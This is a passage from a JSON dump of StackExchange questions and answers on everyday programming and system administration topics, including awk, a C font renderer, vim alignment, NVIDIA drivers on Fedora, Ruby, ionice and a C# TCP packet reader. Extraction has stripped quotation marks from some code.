buffer properties from external users (by using private). They can always get a reference to the buffer using the method rdbuf().pragma once and include guardsThere is no point in using both:#ifndef MEMSTREAMBUF_HPP# define MEMSTREAMBUF_HPP# pragma once....#endifI would use the header guards because not all compiler support #pragma once. Note the space between # and the word is non standard. Most compilers may be forgiving about it but not all so I would not do it.# define MEMSTREAMBUF_HPP ^ // extra space." } { "id": "_unix.222102" , "question": "I have several data samples that I need to grop the zeroes before and after the data sample. However there are zeroes between the data sample that I must keep for obvious reasons. How can I do this with awk or maybe sed?Thanks.0000000000000004.4021.2017.4418.242.0819.9214.5621.206.64027.0432.2465.2812.0040.8030.4830.1630.24062.566.5629.76043.8413.4417.1254.4823.5230.7229.0411.0414.565.7631.6013.6811.2017.4417.44036.5616.6432.4018.4001049.841.6863.8419.285.7628.0012.640013613.2823.281.2019.1227.2802.8836.1627.4413.6036.3220.9615.8423.1210.24.9643.608.320061.6020.0031.3632.80072.3227.049.5221.282.0844.4811.2026.4019.9218.40078.3213.0438.886.2466.644.5625.1243.204.0058.0818.402.4820.3215.7624.96028.4028.6432.726.6414.7200000" , "title": "Removing Zeroes before and after data sample" , "tags": "sed;awk" , "accepted_answer": "This will drop all zeros from the beginning and the end of the file while keeping zeros in the middle:awk '/[^0]/{if (z)print substr(z,2);print;z=;f=1;next} f{z=z\\n$0}' fileHow it works/[^0]/{if (z)print substr(z,2); print;z=; f=1; next}If the present line has any character on it other than zero, /[^0]/, then we do the following:If the variable z is non-empty, we print it, skipping its first character.We print the current line (the one with the non-zero).We set z back to an empty string.We set the flag f to 1 to signify that we have seen a line with a non-zero.We skip the rest of the commands and jump to start over on the next line.f{z=z\\n$0}If we get to this command, that means that the line contains no non-zero character. If we have seen a non-zero line, in other words if f is 1, then we append to z a newline and the current line.Example 1Consider this file:$ cat file2002.08018.4000The command produces the following output:$ awk '/[^0]/{if (z)print substr(z,2);print;z=;f=1;next} f{z=z\\n$0}' file22.08018.40Example 2Using your input file$ awk '/[^0]/{if (z)print substr(z,2);print;z=;f=1;next} f{z=z\\n$0}' file4.4021.2017.4418.242.0819.9214.5621.206.64027.0432.2465.2812.0040.8030.4830.1630.24062.566.5629.76043.8413.4417.1254.4823.5230.7229.0411.0414.565.7631.6013.6811.2017.4417.44036.5616.6432.4018.4001049.841.6863.8419.285.7628.0012.640013613.2823.281.2019.1227.2802.8836.1627.4413.6036.3220.9615.8423.1210.24.9643.608.320061.6020.0031.3632.80072.3227.049.5221.282.0844.4811.2026.4019.9218.40078.3213.0438.886.2466.644.5625.1243.204.0058.0818.402.4820.3215.7624.96028.4028.6432.726.6414.72" } { "id": "_codereview.67042" , "question": "I have a function that converts any normal true-type font to my own font file .bffThat function works correct and am not going to post that function for that matter(the function is also only compatible with a specific engine you may not hear about).If I post the .bff file and you have an environment in which you could use putpixel(x, y) to put a pixel (for e.g a red one) on the x and y spot, then you can also test my rendering function.Let me first explain my custom compression method:I call Arlo compression vername Arlo1 with compression level over 60%. You have to understand the compression before take a look at the rendering function.Standart characters (dec 48+) to represent whitespaces.5 will represent 5 spaces and so forthAfter each space a pixel is placed. So if there is 00 it puts two pixels right next to each other if there is 20 it puts 1 pixel after 2 spaces and one pixel as a next.Important: to prevent a vertical line after each character the rendering function is made to not put pixel after the last space-representing character of the line determined (that is what causes problems - some characters needs a pixel at the end and it renders them cropped (without these last pixels) thanks to the vertical-line prevention condition.# character found in the bff means new line of the character& character found in the bff means offset for next characterCharacters are with ascii sequence, dec32-126The function:typedef unsigned char BYTE;voidbitfox_render_text(char *FONTNEX, char *STRING, int X_OFFSET, int Y_OFFSET){ FILE* fp = fopen(FONTNEX, r); char *buffer = STRING, *font; int fontsize, buffsize = strlen(buffer), strl; int line = 0, linep = 0, colp = 0; fseek(fp, EOF, SEEK_END); fontsize = ftell(fp); font = malloc(fontsize); rewind(fp); fread(font, sizeof(BYTE), fontsize, fp); fclose(fp); for(strl=0; strl<buffsize; strl++) { int chrOffset, chr = 32; // In-line code for finding the current index of characters for(chrOffset=0; chr != buffer[strl]; chrOffset++) { if(font[chrOffset] == '&') { chr++; }} // <-- do { linep++; if (font[chrOffset+linep] == '#') { colp++; line = 0; } else if (font[chrOffset+(linep+1)] != '#') // if not NL and w/o ending supplement: { // there is a function that describes size and color of the brush here putpixel(X_OFFSET+(line+=(font[chrOffset+linep]-48)+1), Y_OFFSET+colp); } } while(font[chrOffset+(linep+1)] != '&'); } free(font);}The function currently reads successfully only one character passed as a string. Don't mind the arguments currently not used. Despite the fact that this function is not fully functional.. the only problem is the condition:(font[chrOffset+(linep+1)] != '#') // if not NL and w/o ending supplementIt prevents for putting pixels at the end of each line.If i remove that condition.. there will be a vertical line at the end of each character.. if it remains, some characters that need these pixels will be rendered cropped.I will be doing constant edits to improve the level of clarification. Here is the download link of the .bff that response for the .ttf file arial.ttf size 11 Normal.Summary: The .bff file or Bitfox Font File is a custom font file, with custom compression method impiled (Arlo1). Each character from the ascii in the range of 32 to 126 in sequence is represented in raster-type where # determines there is a new line and & determines next character. To indicate where is a pixel placed, the current character's data consists of ascii characters (dec48-126) that represent whitespaces. The pixel is placed after the sapce is determined with chr-48. For the sake of the unrequired pixels prevention, the rendering function won't place pixels when the last character of the line is readed. That causes some characters to be cropped with 1 pixel at their end." , "title": "Function for rendering custom fonts" , "tags": "c;io;graphics" } { "id": "_webapps.88274" , "question": "A year ago I liked page A.1 on Facebook. Today, I want to unlike it. However, A.1 has merged with A.2 and A.2 now loads when I try to visit A.1.I do not have A.2 liked (this is what displays on A.2 and A.2 does not link to A.1. I still have A.1 liked on my profile. How do I unlike A.1?" , "title": "How do you unlike a merged page on Facebook?" , "tags": "facebook;facebook pages" , "accepted_answer": "I just figured out the answer to my issue. The solution is to not try to find the page that was liked, but to visit your profile likes sub-page and unlike the dangling reference from there via the dropdown element (unlike)." } { "id": "_webapps.66100" , "question": "I used to use the Google code playground to visualize and try Google APIs samples. I found it very useful.But I can't find it anymore! Do you have any idea what happened to it and whether is has moved somewhere else?The link was https://code.google.com/apis/ajax/playgroundThe requested URL /apis/ajax/playground was not found on this server. Thats all we know.And it looked like:" , "title": "Where did the Google code playground go?" , "tags": "google code;google chart api" , "accepted_answer": "The Google Developers Chart Gallery include examples of charts and buttons with the text CODE IT YOURSELF ON JSFIDDLE, so we could say that Google Code Playground, at least in relation to the Charts API, was moved to JSFIDDLE." } { "id": "_vi.5718" , "question": "I'm using vim-easy-align plugin and when in bash scripts I try to align $ at the beginning of variable names, the aligning adds spaces around the delimiter, i.e. <space>$<space> which of course makes those variables meaningless.Are there options or tips to temporarily or permanently disable this? for specific delimiters? That is, to allow spaces around = and other delimiters, but not the variable leaders such as $.Should I make a \\$\\w regex instead of just using the $?" , "title": "easy-align spaces around delimiters" , "tags": "alignment;plugin easy align" , "accepted_answer": "FileType solution, just for reference to whoever can use it....---- Easy Align ---- {{{xmap ga <Plug>(EasyAlign)nmap ga <Plug>(EasyAlign)augroup FileType sh,perl let g:easy_align_delimiters = { \\ 's': { \\ 'pattern': '\\$', \\ 'ignore_groups': ['Comment'], \\ 'left_margin': 0, \\ 'right_margin': 0, \\ 'indentation': 'shallow', \\ 'stick_to_left': 0 \\ }, \\ '=': { \\ 'pattern': '=', \\ 'ignore_groups': ['Comment'], \\ 'left_margin': 0, \\ 'right_margin': 0, \\ 'indentation': 'deep', \\ 'stick_to_left': 0 \\ } \\} augroup END}}}" } { "id": "_unix.186198" , "question": "I am installing fedora 21 server on VM.It used to boot in to text/command line interface.So I followed steps here.In the last step, when I did vi /etc/inittab, the file reads initab is no longer used So as instructed, I ran following:systemctl set-default graphical.targetbut now when I reboot it gives me blank screen with blinking cursor to which I cannot type anything." , "title": "Not able to boot into graphical environment in fedora" , "tags": "fedora;system installation" } { "id": "_codereview.115529" , "question": "Problem 21:Let \\$d(n)\\$ be defined as the sum of proper divisors of \\$n\\$ (numbers less than \\$n\\$ which divide evenly into \\$n\\$). If \\$d(a) = b\\$ and \\$d(b) = a\\$, where \\$a b\\$, then \\$a\\$ and \\$b\\$ are an amicable pair and each of \\$a\\$ and \\$b\\$ are called amicable numbers.For example, the proper divisors of 220 are 1, 2, 4, 5, 10, 11, 20, 22, 44, 55 and 110; therefore \\$d(220) = 284\\$. The proper divisors of 284 are 1, 2, 4, 71 and 142; so \\$d(284) = 220\\$.Evaluate the sum of all the amicable numbers under 10000.Am I abusing reduce or itertools here? I'm concerned this solution could be more readable. Also, is there a more efficient solution rather than calculating everything up front?from itertools import chain, countfrom operator import muldef factorize(n): for factor in chain((2,), count(start=3,step=2)): if factor*factor > n: break exp = 0 while n % factor == 0: exp += 1 n //= factor if exp > 0: yield factor, exp if n > 1: yield n, 1def sum_of_factors(n): >>> sum_of_factors(220) 284 >>> sum_of_factors(284) 220 total = reduce(mul, ((fac**(exp+1)-1)/(fac-1) for fac,exp in factorize(n)), 1) return total - nif __name__ == '__main__': cache = {k: sum_of_factors(k) for k in xrange(1, 10000) } print sum(k for k, v in cache.iteritems() if cache.get(v, None) == k and v != k)" , "title": "Project Euler 21: Sum of Amicable Numbers" , "tags": "python;programming challenge;python 2.7" } { "id": "_webapps.67458" , "question": "I sent an email with link to a file in my google drive.I now update my file, but Google drive create another file when I upload again. This means that the link in my sent email still points to the old file.How can the recipient of the email get the latest file from the previous link I sent? Thanks.btw, Will uploading to dropbox solve the problem?" , "title": "How can I update a file in Google drive which I have sent in an email?" , "tags": "google drive;dropbox" } { "id": "_unix.292277" , "question": "Running a program in kernel mode forbids using standard C library because the only thing your program linked to is kernel itself. So I'm allowed to use functions defined in kernel. But kernel itself is a program written in C and compiled for some particular architecture. And it shouldn't use C standard library, but it also shouldn't use any drivers since drivers are loadable modules. So my question is what actual C functions are used when writing a kernel? How can you interact with hardware not through kernel? Don't say me to look at sources it's too next level for me, TY." , "title": "How was kernel written?" , "tags": "linux;kernel;linux kernel" } { "id": "_unix.150892" , "question": "#!/bin/bashrm outmkfifo outnc -l 8080 < out | while read linedo echo hello > out echo $linedoneIf I browse to the IP of the machine this script is running on (using port 8080), I would expect to see the word 'hello' and then on the machine running the script, I would expect it to output lines from the request.However, nothing happens. The browser gets no response, and nothing is output to the server's terminal.Why doesn't it work, and what can I modify to make it work? I want to keep it to simple pipes, I don't want to use process substitution or anything like that." , "title": "Why doesn't this piped script work?" , "tags": "shell script;io redirection;pipe;fifo" } { "id": "_unix.27851" , "question": "I just tried to install oh-my-zsh. I get the following error when I try to run rvm:zsh: command not found: rvmI also get the following error when I try to open a new tab:/Users/jack/.zshrc:source:34: no such file or directory: /Users/jack/.oh-my-zsh/oh-my-zsh.sh/Users/jack/.zshrc:source:38: no such file or directory: .bashrcHere's my .zshrc file:# Path to your oh-my-zsh configuration.ZSH=$HOME/.oh-my-zsh# Set name of the theme to load.# Look in ~/.oh-my-zsh/themes/# Optionally, if you set this to random, it'll load a random theme each# time that oh-my-zsh is loaded.ZSH_THEME=robbyrussell# Example aliases# alias zshconfig=mate ~/.zshrc# alias ohmyzsh=mate ~/.oh-my-zsh# Set to this to use case-sensitive completion# CASE_SENSITIVE=true# Comment this out to disable weekly auto-update checks# DISABLE_AUTO_UPDATE=true# Uncomment following line if you want to disable colors in ls# DISABLE_LS_COLORS=true# Uncomment following line if you want to disable autosetting terminal title.# DISABLE_AUTO_TITLE=true# Uncomment following line if you want red dots to be displayed while waiting for completion# COMPLETION_WAITING_DOTS=true# Which plugins would you like to load? (plugins can be found in ~/.oh-my-zsh/plugins/*)# Custom plugins may be added to ~/.oh-my-zsh/custom/plugins/# Example format: plugins=(rails git textmate ruby lighthouse)plugins=(git bundler brew gem rvm cscairns)source $ZSH/oh-my-zsh.sh# Customize to your needs...source .bashrcexport PATH=/usr/local/bin:$PATHWhat do I need to do to fix these errors?" , "title": "After installing oh-my-zsh: ... /.zshrc:source:34: no such file or directory ... /.oh-my-zsh/oh-my-zsh.sh" , "tags": "bash;zsh;oh my zsh" } { "id": "_unix.144791" , "question": "I want to execute the script on removal of usb drive. In that script I want to restart the server.Is there any way to do the same ? I know I have to modify the rules in /etc/udev/rules.d/. " , "title": "How to Run a script on USB removal?" , "tags": "linux;udev;usb drive" } { "id": "_cs.43115" , "question": "I'm doing revision for a module on programming language semantics andI'm having trouble understanding the introduction of side-effects inexpressions.We assume a standard syntax for arithmetic expression, with the fourusual operations, plus the unary prefix and postfix operator$\\texttt{++}$, defined as in language C, applicable to variables onlyas in $\\texttt{V++}$, and assigment statement $\\texttt{V:=E}$.We have seen how to define the denotation function$[\\![\\texttt{E}]\\!]_{\\mathrm{Exp}}$ when we have to evaluate anexpression $\\texttt{E}$ without side-effect, to return a valueresulting from that evaluation.In order to give a denotational semantics for expressions with side-effects, we need to change the type of the denotation function $[\\![\\texttt{E}]\\!]_{\\mathrm{Exp}}$ for expressions $\\texttt{E}$, so that it returns both the value of the expression and the state as modified by the side-effects. I.e., we want to define a denotation function$[\\![\\texttt{E}]\\!]_{\\mathrm{Exp}} : State IntState$by induction on the form of expressions $\\texttt{E}$. For example, in the case $\\texttt{E}$ has the form $\\texttt{E1+E2}$, we define:$[\\![\\texttt{E1+E2}]\\!]_{\\mathrm{Exp}}(S) = (n_1 + n_2, S_2)$where $(n_1, S_1) = [\\![\\texttt{E1}]\\!]_{\\mathrm{Exp}}(S)$and $(n_2, S_2) = [\\![\\texttt{E2}]\\!]_{\\mathrm{Exp}}(S_1)$This says first evaluate the leftmost expression $\\texttt{E1}$, giving the integer value $n_1$ and updated state $S_1$, then evaluate $\\texttt{E2}$ in that updated state, giving the integer value $n_2$ and updated state $S_2$; the value of the expression is $n_1 + n_2$, and evaluation has the side effect of updating the state to $S_2$.However this does not show when side effects actually take place, and I do not know how to write the denotation function for expressions that do produce side-effects. Can you tell me how to complete the inductive definition of $[\\![\\texttt{E}]\\!]_{\\mathrm{Exp}}$, including the case where $\\texttt{E}$ is of the form $\\texttt{V++}$?Then, how should one change the definition of the denotation function $[\\![\\texttt{V:=E}]\\!]_{\\mathrm{Pgm}}$ for the assignment statement, to take account of the changes in the definition of $[\\![\\texttt{E}]\\!]_{\\mathrm{Exp}}$, which it necessarily uses?Are there other changes that would need to be made to the denotational semantics of the language? " , "title": "Denotational semantics of expressions with side effects" , "tags": "programming languages;semantics;imperative programming;denotational semantics" } { "id": "_softwareengineering.157825" , "question": "We already have a fully operational web service which caters requests from multiple paltform devices. Each device sends only one request at a time and immediately after a response for the request the device sends an applicative ACK, this ack message is like a regular request message, and it's all via http.During a performance/load test we discovered that the following situation happens alot: regular requests gets processed ok but when the ack message is sent, it is thrown because the server can't handle too many requests.We accept the case that the server throws requests because of overload, but we do not accept throwing ack messages.So essentially we want the server to process 2 requests at a time for each device, is there anyway to do it in the current situation?if not, what kind of changes do we need to do?" , "title": "Designing a 3-phase commit web service" , "tags": ".net;web services;wcf" } { "id": "_codereview.132896" , "question": "Below is a Ruby implementation of a random statistical event, based on a hash with the actual observed counts of outcomes.I'd be interested in feedback in particular on what techniques I might use to avoid a loop-based accumulator in the RandomEvent#predict! method. I'm also very curious as well about any other suggestions on refactoring, patterns and performance that might be applicable here. The statistics material itself might be somewhat beyond the scope of a review but I'd appreciate any thoughts on appropriate naming and more effective (deterministic) ways to test this.Specinclude Statisticsdescribe RandomEvent do context 'when an event has only one outcome' do it 'always happens' do expect(RandomEvent.from_hash(always: 1).predict!).to eq(:always) end end context 'when the event has multiple outcomes' do let(:trials) { 10_000 } subject(:event) do RandomEvent.from_hash(heads: 51, tails: 49) end it 'should distribute them' do coinflips = trials.times.map { event.predict! } heads_variance = (coinflips.count(:heads) - trials/2).abs tails_variance = (coinflips.count(:tails) - trials/2).abs expected_variance = trials/10 expect(heads_variance).to be < expected_variance expect(tails_variance).to be < expected_variance end endendImplementationclass RandomEvent def initialize @outcome_counts = {} end def add_outcome(outcome, count:) @outcome_counts[outcome] = count end def normalized_outcome_probabilities total_outcome_counts = @outcome_counts.values.reduce(&:+) @outcome_counts.inject({}) do |hash,(outcome,count)| hash[outcome] = count / total_outcome_counts.to_f hash end end def predict! acc = 0.0 roll = rand selected_outcome = nil normalized_outcome_probabilities.each do |outcome, probability| acc += probability if acc > roll selected_outcome = outcome break end end selected_outcome end def self.from_hash(outcome_counts_hash) event = new outcome_counts_hash.each do |outcome, count| event.add_outcome(outcome, count: count) end event endend" , "title": "Random distribution in Ruby" , "tags": "object oriented;ruby;unit testing;random;statistics" , "accepted_answer": "First thing, it looks like RandomEvent.from_hash implements features of initialize method.acc variable at RandomEvent#predict can be easily moved to inject iterator.Code:class RandomEvent def initialize(outcome_counts = {}) @outcome_counts = outcome_counts end def add_outcome(outcome, count) @outcome_counts[outcome] = count end def normalized_outcome_probabilities total_outcome_counts = @outcome_counts.values.reduce(:+).to_f @outcome_counts.map { |outcome, count| [outcome, count / total_outcome_counts] }.to_h end def predict! roll = rand normalized_outcome_probabilities.inject(0.0) do |acc, (outcome, probability)| break outcome if (acc += probability) > roll acc end endendNow instead of RandomEvent.from_hash(heads: 51, tails: 49) you can write RandomEvent.new(heads: 51, tails: 49)" } { "id": "_unix.104928" , "question": "I have followed the following steps to get Optimus/Bumblebee configuration running on Fedora 20 (fresh basic installation) on my brand new laptop (based on msi barebone MS-16GC).I have listed all steps, very similar to this linkThe end result has x not booting, I can boot to a terminal. I feel I am stuck at the last step, please help:These are the steps I have taken1) My BIOS does not support switching on/off the nvidia card2) Fedora 20 was installed from live cd - kernel/software updated - kernel-devel and kernel-headers are installed, along with gcc-c++ and lshw. NVIDIA display driver version 331.20 is downloaded, but not installed yet. 3) Subsequent current kernel: 3.11.10-301.fc20.x86_644) lspci gives two devices of intrest00:02.0 VGA compatible controller: Intel Corporation 4th Gen Core Processor Integrated Graphics Controller (rev 06)01:00.0 3D controller: NVIDIA Corporation GK106M [GeForce GTX 765M] (rev a1)lshw shows that the NVIDIA card uses nouveau *-display description: 3D controller product: GK106M [GeForce GTX 765M] vendor: NVIDIA Corporation physical id: 0 bus info: pci@0000:01:00.0 version: a1 width: 64 bits clock: 33MHz capabilities: bus_master cap_list rom configuration: driver=nouveau latency=0 resources: irq:16 memory:f6000000-f6ffffff memory:c0000000-cfffffff memory:d0000000-d1ffffff ioport:e000(size=128) memory:f7000000-f707ffff*-display description: VGA compatible controller product: 4th Gen Core Processor Integrated Graphics Controller vendor: Intel Corporation physical id: 2 bus info: pci@0000:00:02.0 version: 06 width: 64 bits clock: 33MHz capabilities: vga_controller bus_master cap_list rom configuration: driver=i915 latency=0 resources: irq:43 memory:f7400000-f77fffff memory:b0000000-bfffffff ioport:f000(size=64)In preperation of driver NVIDIA driver install5) blacklist nouveau, by creating a file blacklist.conf in /etc/modprobe.d/ with the line `blacklist nouveauRebootmv /boot/initramfs-$(uname -r).img /boot/initramfs-$(uname -r)-nouveau.imgdracut /boot/initramfs-$(uname -r).img $(uname -r)RebootAnd in /etc/default/grubI added rdblacklist=nouveau to GRUB_CMDLINE_LINUXFollowed by the grub2-mkconfig > /boot/grub2/grub.cfg commandReboot the computer (just to be sure)lshw now outputs the following - no sign of nouveau is disabled - device is UNCLAIMED. *-display UNCLAIMED description: 3D controller product: GK106M [GeForce GTX 765M] vendor: NVIDIA Corporation physical id: 0 bus info: pci@0000:01:00.0 version: a1 width: 64 bits clock: 33MHz capabilities: bus_master cap_list configuration: latency=0 resources: memory:f6000000-f6ffffff memory:c0000000-cfffffff memory:d0000000-d1ffffff ioport:e000(size=128) memory:f7000000-f707ffff *-display description: VGA compatible controller product: 4th Gen Core Processor Integrated Graphics Controller vendor: Intel Corporation physical id: 2 bus info: pci@0000:00:02.0 version: 06 width: 64 bits clock: 33MHz capabilities: vga_controller bus_master cap_list rom configuration: driver=i915 latency=0 resources: irq:43 memory:f7400000-f77fffff memory:b0000000-bfffffff ioport:f000(size=64)6) Next I create a file in my home directory called .xinitrc containing following linesxrandr --setprovideroutputsource modesetting NVIDIA-0xrandr --autoexec gnome-session7) Then I create a file in /etc/X11 called xorg.conf2containing following dataSection ServerLayout Identifier layout Screen 0 nvidia Inactive intelEndSectionSection Device Identifier intel Driver intelEndSectionSection Screen Identifier intel Device intelEndSectionSection Device Option ConstrainCursor no Identifier nvidia Driver nvidia BusID PCI:1:0:0EndSectionSection Screen Identifier nvidia Device nvidia#Comment to output using hdmi cable Option UseDisplayDevice noneEndSection8) Time to install the drivers/* I get stuck here */Type chmod +x NVIDIA*And then ./NVIDIA*Next I move xorg.conf2 to xorg.confThis installs fine,but when rebooting all I get is a black screen,I can log in to ttylwhen I type startx from command line same problem, just black screen.Please help!" , "title": "Need help installing NVIDIA graphics driver for Optimus configuration" , "tags": "linux;fedora;graphics;nvidia" } { "id": "_softwareengineering.253705" , "question": "I have a design and am wondering what the appropriate way to access variables is. I'll demonstrate with this example since I can't seem to describe it better than the title.Term is an object representing a bunch of time data (a repeating duration of time defined by a bunch of attributes)Term has some print functionality but does not implement the print functions itself, rather they are passed in as anonymous functions by the parent. This would be similar to how shaders can be passed to a renderer rather than defined by the renderer.A container (let's call it Box) has a Schedule object that can understand and use Term objects.Box creates Term objects and passes them to Schedule as required. Box also defines the print functions stored in Term.A print function usually takes an argument and uses it to return a string based on that argument and Term's internal data. Sometime the print function could also use data stored in Schedule, though. I'm calling this data shared.So, the question is, what is the best way to access this shared data. I have a lot of options since JS has closures and I'm not familiar enough to know if I should be using them or avoiding them in this case.Options: Create a local reference (term used lightly) to the shared data (data is not a primitive) when defining the print function by accessing the shared data through Schedule from Box. Example:var schedule = function(){ var sched = Schedule(); var t1 = Term( function(x){ // Term.print() return (x + sched.data).format(); });};Bind it to Term explicitly. (Pass it in Term's constructor or something). Or bind it in Sched after Box passes it. And then access it as an attribute of Term.Pass it in at the same time x is passed to the print function, (from sched). This is the most familiar way for my but it doesn't feel right given JS's closure ability.Do something weird like bind some context and arguments to print.I'm hoping the correct answer isn't purely subjective. If it is, then I guess the answer is just do whatever works. But I feel like there are some significant differences between the approaches that could have a large impact when stretched beyond my small example.EditI'll post the solution I'm using but I'd still welcome criticism:All print functions take, as arguments, anything term doesn't own. This way, term is not coupled to schedule in any way (obviously schedule is still dependent on term, though). This allows term to be initialized/constructed anywhere without needing knowledge of schedule.So, if term had an init() function it might take an object that looks something like this:{ inc: moment.duration(1,d), periods: 3, class: long, text:Weekly, pRange: moment.duration(7,'d'), //*...other attr*// printInc: function(increments,period){ return moment(this.start).add(this.inc.product(increments) .add(this.startGap)) .add(this.pRange.product(period)) .format(DATEDISPLAYFORMAT); }, printLabel: function(datetime){ return (datetime).format(DATEDISPLAYFORMAT); }}Where increment, period, datetime would all be passed from whatever is using term's print methods (schedule in this case)." , "title": "JS closures - Passing a function to a child, how should the shared object be accessed" , "tags": "design;object oriented;javascript;closures" } { "id": "_unix.297274" , "question": "I understand how ionice can help you when you have multiple processes requesting access to the same disk resources, but how does it work when you have multiple disks?For example, you have one rsync operation moving data from Drive A -> Drive B, and another rsync moving data from Drive C -> Drive D. In theory, since they are not competing for resources, ionice'ing one of these rsync processes shouldn't change its throughput. Is this how it works, or will it still impact performance?Additionally, is there some upper limit on total I/O one might experience on a linux system that is independent of drive speed? Like if you hooked up 100 SSD drives, at some point would the OS run into a bottleneck aside from drive speed?" , "title": "How does ionice work with multiple drives?" , "tags": "filesystems;performance;priority;ionice" , "accepted_answer": "On Linux, drives are scheduled independently from each other. You can even set the IO scheduling algorithm to be different for different drives on the same system, by writing to /sys/block/<device>/queue/iosched. The bandwidth between memory and the disks can indeed become a bottleneck. This is why hardware RAID makes sense: the data is sent to the RAID controller once, as opposed to each disk separately. You can also increase this bandwidth by attaching those 100 SSDs to more than one computer, distributing the load between them.I'm not sure how the IO scheduler takes this into account, but I don't think it does." } { "id": "_unix.362390" , "question": "How do i get terminal like this in kali linux.I searched for long but couldn't find anything relevant." , "title": "Colored arrow in Bash prompt" , "tags": "bash;terminal;gnome;prompt" } { "id": "_codereview.173643" , "question": "I am creating a server client app where after the connection is done, the server and client will send packages back and forward. The Stream can be a NetworkStream or SslStream.I have created a Async ReadContinuously method and it seems to work, but I do not trust my own knowledge about Async yet. Can you guys tell me I am on the right track or not?Client: private async void ListenToServer() { bool exitbyerror = false; // Queue<TestServerDataPacket> queue = new Queue<TestServerDataPacket>(); try { await Task.Run(() => { // After this a Queue Reader must be created _packetReader.ReadContinuously(_netStream, _connection.ReceiveBufferSize, queue); // For Testing while (_connection?.Connected == true) { // Console.WriteLine(Client: ({0}) Packets in queue., queue.Count); // For Testing Thread.Sleep(2000); } }); } catch { exitbyerror = true; } // if (exitbyerror) { // } }PacketReader: private bool _readContinuously; public void ReadContinuously(Stream s, int bufferSize, Queue<TestServerDataPacket> packetQueue) { try { if (s == null) { throw new ArgumentNullException(Stream can not be null!); } if (packetQueue == null) { throw new ArgumentNullException(Queue<TestServerDataPacket> can not be null!); } // _readContinuously = true; // DoReadContinuously(s, bufferSize, packetQueue); } catch { throw; } } private async void DoReadContinuously(Stream s, int bufferSize, Queue<TestServerDataPacket> packetQueue) { // byte[] buffer = new byte[bufferSize]; // TestServerDataPacket packet; try { // Read Packet Length = 4 bytes int bytesReceived = 0; while (bytesReceived < 4) { // int byteread = await s.ReadAsync(buffer, bytesReceived, 4 - bytesReceived); // if (byteread == 0) { // 0 bytes read = end of stream / disconnected throw new Exception(Connection Closed!); } // bytesReceived += byteread; } bytesReceived = 0; // Get Packet Size int packetSize = BitConverter.ToInt32(buffer, 0); // Create Packet Byte Array byte[] packetbytes; // Read Data using (MemoryStream memoryStream = new MemoryStream()) { // Read Data while (bytesReceived < packetSize) { // Adjust Buffer size to catch only the packet and nothing else if (buffer.Length > (packetSize - bytesReceived)) { buffer = new byte[(packetSize - bytesReceived)]; } // int count; if ((count = await s.ReadAsync(buffer, 0, buffer.Length)) > 0) { // Save Data memoryStream.Write(buffer, 0, buffer.Length); // Count bytesReceived += count; } } // Get Packet Bytes Array packetbytes = memoryStream.GetBuffer(); } // Create Packet DeserializeData(packetbytes, out packet); } catch { throw; } // if (packet != null) { packetQueue.Enqueue(packet); } // if (_readContinuously) { DoReadContinuously(s, bufferSize, packetQueue); } }Working test server:namespace TestServer{ public class Program { static void Main(string[] args) { TestServer server = new TestServer(); TestClient client = new TestClient(); Console.ReadLine(); } } public class TestServer { private readonly TcpListener _listener; public TestServer() { IPEndPoint localEndPoint = new IPEndPoint(IPAddress.Any, 45654); _listener = new TcpListener(localEndPoint); _listener.Start(100); AcceptConnections(); } private async void AcceptConnections() { await Task.Run(async () => { try { Socket s = await _listener.AcceptSocketAsync(); if (s != null) { Console.WriteLine(Server: Client Connected); TestServerConnection c = new TestServerConnection(s); } } catch { // } }); } } public class TestServerConnection { private readonly Socket _connection; private readonly TestPacketSender _packetSender; public TestServerConnection(Socket s) { _connection = s; _packetSender = new TestPacketSender(new NetworkStream(s, FileAccess.ReadWrite)); Task.Factory.StartNew(ListenToClient); } private async Task ListenToClient() { bool exitbyerror = false; try { await Task.Run(() => { while (_connection?.Connected == true) { Thread.Sleep(10000); Console.WriteLine(Server: Sending Hi); _packetSender.Send(new TestServerDataPacket(2000)); // Int 2000 is Hi } }); } catch { exitbyerror = true; } // if (exitbyerror) { // } } } public class TestClient { private readonly Socket _connection; private NetworkStream _netStream; private TestPacketReader _packetReader; public TestClient() { _packetReader = new TestPacketReader(); IPEndPoint remoteEndPoint = new IPEndPoint(IPAddress.Parse(127.0.0.1), 45654); // Create a TCP/IP socket. _connection = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { ReceiveBufferSize = (8 * 1024), SendBufferSize = (8 * 1024), NoDelay = true }; // Connect to the remote endpoint. _connection.Connect(remoteEndPoint); _netStream = new NetworkStream(_connection, FileAccess.ReadWrite); Console.WriteLine(Client: Connected to server.); Task.Factory.StartNew(ListenToServer); } private async void ListenToServer() { bool exitbyerror = false; // Queue<TestServerDataPacket> queue = new Queue<TestServerDataPacket>(); try { await Task.Run(() => { // After this a Queue Reader must be created _packetReader.ReadContinuously(_netStream, _connection.ReceiveBufferSize, queue); // For Testing while (_connection?.Connected == true) { // Console.WriteLine(Client: ({0}) Packets in queue., queue.Count); // For Testing Thread.Sleep(2000); } }); } catch { exitbyerror = true; } // if (exitbyerror) { // } } } public class TestPacketSender { // private readonly Stream _stream; private readonly object _writingToStream = new object(); // public TestPacketSender(Stream stream) { _stream = stream; } // public bool Send(TestServerDataPacket packet) { if (_stream == null) { throw new ArgumentNullException(Stream can not be null); } if (packet == null) { throw new ArgumentNullException(TestServerDataPacket can not be null!); } // lock (_writingToStream) { return SendToStream(_stream, packet); } } private bool SendToStream(Stream s, TestServerDataPacket packet) { try { // Byte Array containing Packet Size and Packet byte[] buffer; // Fill buffer (Packet Size + Packet Content) SerializeData(packet, out buffer); // Write Packet to the Stream s.Write(buffer, 0, buffer.Length); s.Flush(); // return true; } catch { // return false; } } // private void SerializeData(TestServerDataPacket packet, out byte[] buffer) { if (packet == null) { buffer = new byte[0]; return; } byte[] packetbytes; BinaryFormatter formatter = new BinaryFormatter(); using (MemoryStream ms = new MemoryStream()) { // formatter.Serialize(ms, packet); // packetbytes = ms.ToArray(); } // buffer = CreatePacket(packetbytes); } private byte[] CreatePacket(byte[] packetbytes) { // Get the packet length byte[] lengthPrefix = BitConverter.GetBytes(packetbytes.Length); // byte[] totalpacket = new byte[lengthPrefix.Length + packetbytes.Length]; // Combine the packet length and the packet data lengthPrefix.CopyTo(totalpacket, 0); packetbytes.CopyTo(totalpacket, lengthPrefix.Length); // return totalpacket; } } public class TestPacketReader { private bool _readContinuously; public void ReadContinuously(Stream s, int bufferSize, Queue<TestServerDataPacket> packetQueue) { try { if (s == null) { throw new ArgumentNullException(Stream can not be null!); } if (packetQueue == null) { throw new 